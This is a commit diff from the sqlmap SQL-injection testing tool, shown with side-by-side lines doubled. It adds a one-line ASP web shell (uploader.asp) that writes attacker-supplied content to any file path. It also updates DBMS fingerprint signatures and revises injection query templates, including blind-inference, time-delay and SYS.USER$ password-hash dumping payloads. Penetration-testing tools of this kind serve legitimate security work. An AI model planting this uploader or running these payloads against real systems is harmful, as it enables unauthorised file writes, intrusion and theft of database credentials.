This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

1
shell/uploader.asp Normal file
View File

@@ -0,0 +1 @@
<%set f = server.createobject("Scripting.FileSystemObject"):set o=f.OpenTextFile(Request("f"), 2, True):o.Write Request("d"):o.Close:set o=Nothing:set f=Nothing%>

View File

@@ -2,7 +2,6 @@
# Target URL. # Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2 # Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
# PHP and MySQL (local)
url = url =
# Parse targets from Burp or WebScarab logs # Parse targets from Burp or WebScarab logs
@@ -79,8 +78,8 @@ delay = 0
# Seconds to wait before timeout connection. # Seconds to wait before timeout connection.
# Valid: float # Valid: float
# Default: 10 # Default: 30
timeout = 10 timeout = 30
[Injection] [Injection]
@@ -134,7 +133,7 @@ eRegexp =
# Valid: True or False # Valid: True or False
stackedTest = False stackedTest = False
# Test for Time based blind SQL injection. # Test for time based blind SQL injection.
# Valid: True or False # Valid: True or False
timeTest = False timeTest = False
@@ -142,6 +141,13 @@ timeTest = False
# Valid: True or False # Valid: True or False
unionTest = False unionTest = False
# Technique to test for UNION query SQL injection
# The possible techniques are by NULL bruteforcing (bf) or by ORDER BY
# clause (ob)
# Valid: NULL, OrderBy
# Default: NULL
uTech = NULL
# Use the UNION query (inband) SQL injection to retrieve the queries # Use the UNION query (inband) SQL injection to retrieve the queries
# output. No need to go blind. # output. No need to go blind.
# Valid: True or False # Valid: True or False

View File

@@ -5,7 +5,7 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> and Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under

View File

@@ -1,12 +1,28 @@
<?xml version="1.0" ?> <?xml version="1.0" ?>
<root> <root>
<signatures release="2008"> <signatures release="2008">
<signature>
<version>
10.00.1779
</version>
<servicepack>
+Q958186
</servicepack>
</signature>
<signature>
<version>
10.00.1771
</version>
<servicepack>
+Q958611
</servicepack>
</signature>
<signature> <signature>
<version> <version>
10.00.1750 10.00.1750
</version> </version>
<servicepack> <servicepack>
0+Q956718 +Q956718
</servicepack> </servicepack>
</signature> </signature>
<signature> <signature>
@@ -43,6 +59,38 @@
</signature> </signature>
</signatures> </signatures>
<signatures release="2005"> <signatures release="2005">
<signature>
<version>
9.00.4207
</version>
<servicepack>
3+Q959195
</servicepack>
</signature>
<signature>
<version>
9.00.4035
</version>
<servicepack>
+3
</servicepack>
</signature>
<signature>
<version>
9.00.3301
</version>
<servicepack>
2+Q958735
</servicepack>
</signature>
<signature>
<version>
9.00.3295
</version>
<servicepack>
2+Q959132
</servicepack>
</signature>
<signature> <signature>
<version> <version>
9.00.3294 9.00.3294
@@ -51,6 +99,14 @@
2+Q956854 2+Q956854
</servicepack> </servicepack>
</signature> </signature>
<signature>
<version>
9.00.3291
</version>
<servicepack>
2+Q956889
</servicepack>
</signature>
<signature> <signature>
<version> <version>
9.00.3282 9.00.3282
@@ -67,6 +123,14 @@
2+Q954607 2+Q954607
</servicepack> </servicepack>
</signature> </signature>
<signature>
<version>
9.00.3261
</version>
<servicepack>
2+Q955754
</servicepack>
</signature>
<signature> <signature>
<version> <version>
9.00.3260 9.00.3260

View File

@@ -5,6 +5,15 @@
<info dbms_version="1"/> <info dbms_version="1"/>
</regexp> </regexp>
<!-- Windows -->
<regexp value="Visual C\+\+">
<info type="Windows"/>
</regexp>
<regexp value="mingw([\d]+)">
<info type="Windows"/>
</regexp>
<!-- Ubuntu --> <!-- Ubuntu -->
<regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)"> <regexp value="PostgreSQL\s+(8\.2\.7)\s+on\s+.*?\s+\(Ubuntu 4\.2\.3-2ubuntu4\)">
<info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/> <info dbms_version="1" type="Linux" distrib="Ubuntu" release="8.04" codename="Hardy Heron"/>

View File

@@ -27,6 +27,7 @@
<dbms value="Microsoft Access"> <dbms value="Microsoft Access">
<error regexp="Access.*Driver"/> <error regexp="Access.*Driver"/>
<error regexp="Driver.*Access"/> <error regexp="Driver.*Access"/>
<error regexp="JET Database Engine"/>
</dbms> </dbms>
<!-- Oracle --> <!-- Oracle -->

View File

@@ -23,11 +23,12 @@
--> -->
<timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/> <timedelay query="SLEEP(%d)" query2="SELECT BENCHMARK(1000000, MD5('%d'))"/>
<substring query="MID((%s), %d, %d)"/> <substring query="MID((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="AND ORD(MID((%s), %d, 1)) > %d"/> <inference query="AND ORD(MID((%s), %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/> <current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/> <current_db query="DATABASE()"/>
<is_dba query="SELECT (CASE WHEN super_priv='Y' THEN 1 ELSE 0 END) FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1" query2="SELECT IF((SELECT privilege_type FROM information_schema.USER_PRIVILEGES WHERE grantee LIKE '%s' AND privilege_type='SUPER' LIMIT 0, 1)='SUPER', 1, 0)"/> <is_dba query="(SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'"/>
<users> <users>
<inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/> <inband query="SELECT grantee FROM information_schema.USER_PRIVILEGES" query2="SELECT user FROM mysql.user"/>
<blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/> <blind query="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1" query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1" count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES" count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
@@ -64,7 +65,7 @@
<length query="LENGTH(%s)"/> <length query="LENGTH(%s)"/>
<isnull query="NVL(%s, ' ')"/> <isnull query="NVL(%s, ' ')"/>
<delimiter query="||"/> <delimiter query="||"/>
<limit query="ROWNUM AS limit %s) WHERE limit"/> <limit query="ROWNUM AS LIMIT %s) WHERE LIMIT"/>
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/> <limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
<limitgroupstart/> <limitgroupstart/>
<limitgroupstop/> <limitgroupstop/>
@@ -74,37 +75,38 @@
<comment query="--"/> <comment query="--"/>
<timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/> <timedelay query="BEGIN DBMS_LOCK.SLEEP(%d); END" query2="EXEC DBMS_LOCK.SLEEP(%d.00)" query3="EXEC USER_LOCK.SLEEP(%d00)"/>
<substring query="SUBSTR((%s), %d, %d)"/> <substring query="SUBSTR((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END) FROM DUAL"/>
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/> <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/> <current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/> <current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
<is_dba query="SELECT CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA') THEN 1 ELSE 0 END FROM DUAL"/> <is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE='DBA')='DBA'"/>
<users> <users>
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/> <inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/> <blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
</users> </users>
<passwords> <passwords>
<inband query="SELECT NAME, PASSWORD FROM SYS.USER$" condition="NAME"/> <inband query="SELECT NAME, PASSWORD FROM SYS.USER$" condition="NAME"/>
<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS limit FROM SYS.USER$ WHERE NAME='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/> <blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
</passwords> </passwords>
<privileges> <privileges>
<inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" condition="GRANTEE"/> <inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" condition="GRANTEE"/>
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS limit FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/> <blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/>
</privileges> </privileges>
<!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol --> <!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol -->
<dbs/> <dbs/>
<tables> <tables>
<!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name --> <!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name -->
<inband query="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES" condition="TABLESPACE_NAME"/> <inband query="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES" condition="TABLESPACE_NAME"/>
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS limit FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE limit=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/> <blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/> <inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS limit FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE limit=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/> <blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE LIMIT=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s"/> <inband query="SELECT %s FROM %s"/>
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS limit FROM %s) WHERE limit=%d" count="SELECT COUNT(*) FROM %s"/> <blind query="SELECT %s FROM (SELECT %s, ROWNUM AS LIMIT FROM %s) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
</dump_table> </dump_table>
</dbms> </dbms>
@@ -124,11 +126,12 @@
<comment query="--" query2="/*"/> <comment query="--" query2="/*"/>
<timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/> <timedelay query="SELECT pg_sleep(%d)" query2="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<substring query="SUBSTR((%s)::text, %d, %d)"/> <substring query="SUBSTR((%s)::text, %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTR((%s)::text, %d, 1)) > %d"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER"/> <current_user query="CURRENT_USER"/>
<current_db query="CURRENT_DATABASE()"/> <current_db query="CURRENT_DATABASE()"/>
<is_dba query="SELECT (CASE WHEN usesuper=true THEN 1 ELSE 0 END) FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1"/> <is_dba query="(SELECT usesuper=true FROM pg_user WHERE usename=CURRENT_USER OFFSET 0 LIMIT 1)"/>
<users> <users>
<inband query="SELECT usename FROM pg_user"/> <inband query="SELECT usename FROM pg_user"/>
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/> <blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
@@ -166,20 +169,21 @@
<isnull query="ISNULL(%s, ' ')"/> <isnull query="ISNULL(%s, ' ')"/>
<delimiter query="+"/> <delimiter query="+"/>
<limit query="SELECT TOP %d "/> <limit query="SELECT TOP %d "/>
<limitregexp query="SELECT\s+TOP\s+1\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+[\d]+\s+"/> <limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
<limitgroupstart/> <limitgroupstart query="2"/>
<limitgroupstop/> <limitgroupstop query="1"/>
<limitstring/> <limitstring/>
<order query="ORDER BY %s ASC"/> <order query="ORDER BY %s ASC"/>
<count query="COUNT(%s)"/> <count query="COUNT(%s)"/>
<comment query="--" query2="/*"/> <comment query="--" query2="/*"/>
<timedelay query="WAITFOR DELAY '0:0:%d'"/> <timedelay query="WAITFOR DELAY '0:0:%d'"/>
<substring query="SUBSTRING((%s), %d, %d)"/> <substring query="SUBSTRING((%s), %d, %d)"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/> <inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
<banner query="@@VERSION"/> <banner query="@@VERSION"/>
<current_user query="SYSTEM_USER"/> <current_user query="SYSTEM_USER"/>
<current_db query="DB_NAME()"/> <current_db query="DB_NAME()"/>
<is_dba query="SELECT (CASE WHEN is_srvrolemember('sysadmin')=1 THEN 1 ELSE 0 END)"/> <is_dba query="IS_SRVROLEMEMBER('sysadmin')=1"/>
<users> <users>
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/> <inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/> <blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>